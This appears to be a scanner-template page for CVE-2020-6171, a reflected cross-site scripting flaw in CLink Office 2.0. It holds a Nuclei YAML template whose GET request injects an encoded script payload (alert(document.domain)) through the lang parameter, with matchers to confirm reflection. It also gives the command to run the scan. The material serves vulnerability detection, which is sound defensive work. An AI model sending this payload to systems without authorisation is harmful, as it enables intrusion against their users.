CLink Office 2.0 - Cross-Site Scripting

ID: CVE-2020-6171

Severity: medium

Author: pikpikcu

Tags: cve,cve2020,xss,clink-office,communilink

Description

CLink Office 2.0 is vulnerable to cross-site scripting in the index page of the management console and allows remote attackers to inject arbitrary web script or HTML via the lang parameter.

YAML Source

id: CVE-2020-6171

info:
  name: CLink Office 2.0 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    CLink Office 2.0 is vulnerable to cross-site scripting in the index page of the management console and allows remote attackers to inject arbitrary web script or HTML via the lang parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix this vulnerability.
  reference:
    - https://www.deepcode.ca/index.php/2020/04/07/cve-2020-xss-in-clink-office-v2/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-6171
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-6171
    cwe-id: CWE-79
    epss-score: 0.00135
    epss-percentile: 0.48718
    cpe: cpe:2.3:a:communilink:clink_office:2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: communilink
    product: clink_office
  tags: cve,cve2020,xss,clink-office,communilink

http:
  - method: GET
    path:
      - "{{BaseURL}}?lang=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cp%20class=%22&p=1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"></script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100d477635f855ef2c026331e478bebb8dd207d3ec4cb92f3be6cb4a38ed2510cd80221008ab626a3f35bc8725ab3db91bf39467d507c2d3f9d73a1d2dc84542bf727cbeb:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-6171.yaml"

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